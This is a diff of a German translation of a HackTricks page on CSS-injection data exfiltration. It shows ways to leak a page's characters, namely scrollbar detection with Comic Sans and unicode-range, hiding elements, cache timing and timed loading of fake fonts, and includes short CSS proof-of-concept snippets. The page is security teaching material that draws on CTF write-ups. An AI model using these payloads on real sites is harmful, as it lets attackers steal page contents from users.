-Dieser Trick wurde in diesem [**Slackers-Thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) veröffentlicht. Der Zeichensatz, der in einem Textknoten verwendet wird, kann **unter Verwendung der Standard-Schriftarten**, die im Browser installiert sind, geleakt werden: keine externen oder benutzerdefinierten Schriftarten sind erforderlich.
+Dieser Trick wurde in diesem [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) veröffentlicht. Der in einem Textknoten verwendete charset kann mit den im Browser installierten default fonts leaked werden: es werden keine externen oder custom Fonts benötigt.
 
-Das Konzept dreht sich darum, eine Animation zu nutzen, um die Breite eines `div` schrittweise zu erweitern, sodass jeweils ein Zeichen von dem 'Suffix'-Teil des Textes in den 'Präfix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:
+Das Konzept basiert auf einer Animation, die die Breite eines `div` schrittweise vergrößert, wodurch ein Zeichen nach dem anderen vom 'suffix'-Teil des Textes in den 'prefix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:
 
-1. **Präfix**: Die erste Zeile.
-2. **Suffix**: Die nachfolgenden Zeilen.
+1. **Prefix**: die initiale Zeile.
+2. **Suffix**: die nachfolgende(n) Zeile(n).
 
 Die Übergangsphasen der Zeichen würden wie folgt erscheinen:
 
@@ -273,15 +309,15 @@ B
 
 **CADB**
 
-Während dieses Übergangs wird der **unicode-range-Trick** verwendet, um jedes neue Zeichen zu identifizieren, während es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans gewechselt wird, die deutlich höher ist als die Standardschriftart, was eine vertikale Bildlaufleiste auslöst. Das Erscheinen dieser Bildlaufleiste offenbart indirekt die Anwesenheit eines neuen Zeichens im Präfix.
+Während dieser Übergangsphase wird der unicode-range trick verwendet, um jedes neue Zeichen zu identifizieren, sobald es dem prefix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans umgeschaltet wird, die deutlich höher ist als die default font und dadurch eine vertikale scrollbar auslöst. Das Erscheinen dieser scrollbar offenbart indirekt das Vorhandensein eines neuen Zeichens im prefix.
 
-Obwohl diese Methode die Erkennung einzigartiger Zeichen ermöglicht, die erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.
+Obwohl diese Methode die Erkennung einzigartiger Zeichen beim Auftreten erlaubt, gibt sie nicht an, welches Zeichen wiederholt auftritt, sondern nur, dass eine Wiederholung stattgefunden hat.
 
-> [!NOTE]
-> Grundsätzlich wird der **unicode-range verwendet, um ein Zeichen zu erkennen**, aber da wir keine externe Schriftart laden wollen, müssen wir einen anderen Weg finden.\
-> Wenn das **Zeichen** **gefunden** wird, erhält es die vorinstallierte **Comic Sans-Schriftart**, die das Zeichen **größer** macht und eine **Bildlaufleiste auslöst**, die das **gefunden Zeichen** **leakt**.
+> [!TIP]
+> Grundsätzlich wird der **unicode-range** verwendet, um ein **char** zu detektieren, aber da wir kein externes Font laden wollen, müssen wir einen anderen Weg finden.\
+> Wenn das **char** **gefunden** wird, bekommt es die vorinstallierte **Comic Sans**-Font, die das **char** **größer** macht und eine scroll bar auslöst, welche das gefundene **char** leaked.
 
-Überprüfen Sie den aus dem PoC extrahierten Code:
+Siehe den aus dem PoC extrahierten Code:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Textnode-Exfiltration (III): Leaking des Zeichensatzes mit einer Standard-Schriftart durch Verstecken von Elementen (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset mit einer Standard-Schriftart durch Verstecken von Elementen (erfordert keine externen Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Bericht erwähnt](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referenz:** Dies wird als [eine erfolglose Lösung in diesem writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
 
-Dieser Fall ist sehr ähnlich zum vorherigen, jedoch besteht in diesem Fall das Ziel darin, spezifische **Zeichen größer als andere zu machen, um etwas** wie einen Button zu verstecken, der nicht vom Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein bestimmtes Zeichen im Text vorhanden ist.
+Dieser Fall ist dem vorherigen sehr ähnlich. Hier besteht das Ziel darin, bestimmte **Zeichen größer als andere zu machen, um etwas zu verbergen**, etwa einen Button, damit er nicht vom Bot gedrückt wird, oder ein Bild, das nicht geladen wird. Dadurch können wir die Aktion (oder das Ausbleiben der Aktion) messen und feststellen, ob ein bestimmtes Zeichen im Text vorhanden ist.
 
-### Textnode-Exfiltration (III): Leaking des Zeichensatzes durch Cache-Timing (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Bericht erwähnt](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referenz:** Dies wird als [eine erfolglose Lösung in diesem writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
 
-In diesem Fall könnten wir versuchen zu leaken, ob ein Zeichen im Text vorhanden ist, indem wir eine gefälschte Schriftart aus demselben Ursprung laden:
+In diesem Fall könnten wir versuchen zu leaken, ob ein Zeichen im Text vorkommt, indem wir eine gefälschte Schriftart vom gleichen Origin laden:
 ```css
 @font-face {
 font-family: "A1";
@@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-Wenn es eine Übereinstimmung gibt, wird die **Schriftart von `/static/bootstrap.min.css?q=1`** geladen. Obwohl sie nicht erfolgreich geladen wird, sollte der **Browser sie cachen**, und selbst wenn es keinen Cache gibt, gibt es einen **304 not modified** Mechanismus, sodass die **Antwort schneller sein sollte** als andere Dinge.
+Wenn es eine Übereinstimmung gibt, wird die **font von `/static/bootstrap.min.css?q=1` geladen**. Auch wenn sie nicht erfolgreich geladen wird, sollte der **Browser sie cachen**, und selbst wenn kein Cache vorhanden ist, gibt es den **304 not modified**-Mechanismus, sodass die **Antwort schneller** als andere Dinge sein sollte.
 
-Wenn der Zeitunterschied der zwischengespeicherten Antwort von der nicht zwischengespeicherten nicht groß genug ist, wird dies jedoch nicht nützlich sein. Zum Beispiel erwähnte der Autor: Nach Tests stellte ich fest, dass das erste Problem darin besteht, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem darin besteht, dass der Bot das `disk-cache-size=1` Flag verwendet, was wirklich durchdacht ist.
+Wenn der Zeitunterschied der gecachten Antwort zur nicht-gecacheten nicht groß genug ist, ist das nicht nützlich. Zum Beispiel erwähnte der Autor: Nachdem ich getestet habe, stellte ich fest, dass das erste Problem ist, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das Flag `disk-cache-size=1` verwendet, was sehr durchdacht ist.
 
-### Textknoten-Exfiltration (III): Leaking des Zeichensatzes durch zeitgesteuertes Laden von Hunderten von lokalen "Schriftarten" (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Bericht erwähnt](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referenz:** Dies wird als [eine erfolglose Lösung in diesem Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) erwähnt
 
-In diesem Fall können Sie **CSS angeben, um Hunderte von gefälschten Schriftarten** aus demselben Ursprung zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise können Sie **die Zeit messen**, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:
+In diesem Fall kannst du **CSS angeben, das Hunderte falscher "fonts"** aus derselben Origin lädt, wenn eine Übereinstimmung auftritt. Auf diese Weise kannst du die **Zeit messen**, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:
 ```css
 @font-face {
 font-family: "A1";
@@ -747,13 +783,19 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Besuch des Bots voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was zu kontinuierlicher Aktivität im Netzwerk führt. Infolgedessen dauert es länger, die Stoppbedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.
+Also, wenn die font nicht übereinstimmt, wird die Antwortzeit beim Aufrufen des bot voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftart-Übereinstimmung vorliegt, werden mehrere requests gesendet, um die Schriftart abzurufen, wodurch das Netzwerk kontinuierlich aktiv bleibt. Infolgedessen dauert es länger, die Stop-Bedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftart-Übereinstimmung vorliegt.
 
-## References
+## Referenzen
 
 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
 - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
 - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
+- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
+- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
+- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
+- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
+- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
+- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
 
 {{#include ../../../banners/hacktricks-training.md}}